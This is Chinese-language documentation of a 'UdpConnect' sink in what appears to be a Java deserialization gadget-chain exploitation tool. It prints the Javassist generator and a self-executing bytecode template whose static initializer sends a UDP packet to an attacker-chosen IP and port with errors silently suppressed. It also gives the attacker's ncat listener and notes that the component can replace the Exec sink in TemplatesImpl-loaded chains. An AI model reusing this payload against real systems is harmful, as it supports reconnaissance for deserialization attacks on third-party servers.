- 类别:bytecode 别名:— 优先级:30
- 作者:Ar3h
- 依赖:无(生成字节码仅依赖 JDK
java.net自身)
生成一段自执行字节码:被目标 JVM 加载后静态块自动实例化,构造函数向指定 IP:port 发送一个 UDP 数据包(内容 hello)。用于判断目标是否具备 UDP 出网能力——攻击端用 ncat -lvup 9999 监听即可确认连通性。是链尾探测型 sink(END),不执行命令。
- 入口
tags:Bytecode(产出原始字节码)、END(链终点)。注意:不带Echo,它是网络探测而非回显。 - 衔接
nextTags:空 —— 终点构件。 excludes:无。
gadget 本体把模板类的两个静态字段(ip、port)改写为用户值后返回字节码:
@Param(name="ip")
public String ip = "127.0.0.1";
@Param(name="udp port", type=ParamType.Integer)
public int port = 9999;
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(UdpConnectBytecode.class);
javassistHelper.modifyStringField("ip", this.ip); // 改写 static String ip
javassistHelper.modifyIntField("port", this.port); // 改写 static int port
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END:内层调用仅为协议一致
return this.getObject();
}探测逻辑在模板构造函数(static { new UdpConnectBytecode(); } 触发):
// UdpConnectBytecode.java(全部逻辑)
public UdpConnectBytecode() {
try {
DatagramSocket socket = new DatagramSocket();
String message = "hello";
byte[] buffer = message.getBytes();
InetAddress address = InetAddress.getByName(ip);
DatagramPacket packet = new DatagramPacket(buffer, buffer.length, address, port);
socket.send(packet); // 向 ip:port 发一个 UDP 包
socket.close();
} catch (Exception exception) {
// 静默吞异常
}
}要点:
- 纯 JDK、无第三方依赖:只用
DatagramSocket/DatagramPacket/InetAddress,任何 JRE 都可运行,适合最小化探测。 - UDP 无连接:
socket.send不保证送达也不等待响应,故连通性判定靠攻击端监听(ncat -lvup <port>收到hello即证明目标 UDP 出网)。相较 TCP 探测(如 TcpConnect)能穿透只放行 UDP 的出网策略。 - 通过
JavassistHelper.modifyStringField/modifyIntField注入ip/port,机制与 Echo 系一致:改写模板静态常量后getBytecode()。 - 全程
try/catch静默,探测失败不产生可见异常。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
ip |
ip | 接收 UDP 包的目标(攻击端监听)IP | 127.0.0.1 |
任意 IP/主机名 |
port |
udp port | 目标 UDP 端口(ParamType.Integer) |
9999 |
任意端口 |
- description:用于判断 udp 协议是否出网,配合
ncat -lvup 9999监听。priority=30。 - 只做出网探测、不回显不执行命令;
hello载荷固定,一次实例化发一次。 - 生效前提:字节码被目标端加载并实例化(通常经
TemplatesImpl)。
自由构件,未直接出现在 51 条预设链中。用法:作为“命令执行/探测”类链(如 [BytecodeConvert, Exec])的 sink,用 UdpConnect 替换 Exec,把利用点变成 UDP 出网探测。
- 上游(消费
Bytecode):BytecodeConvert 及其它字节码装载器。 - 同类探测 sink:TcpConnect(TCP 出网探测)、Sleep(时延探测)、DNSLog 系(DNSLog、DNSLogWithInfo)。
- 可替代:Exec(命令执行)。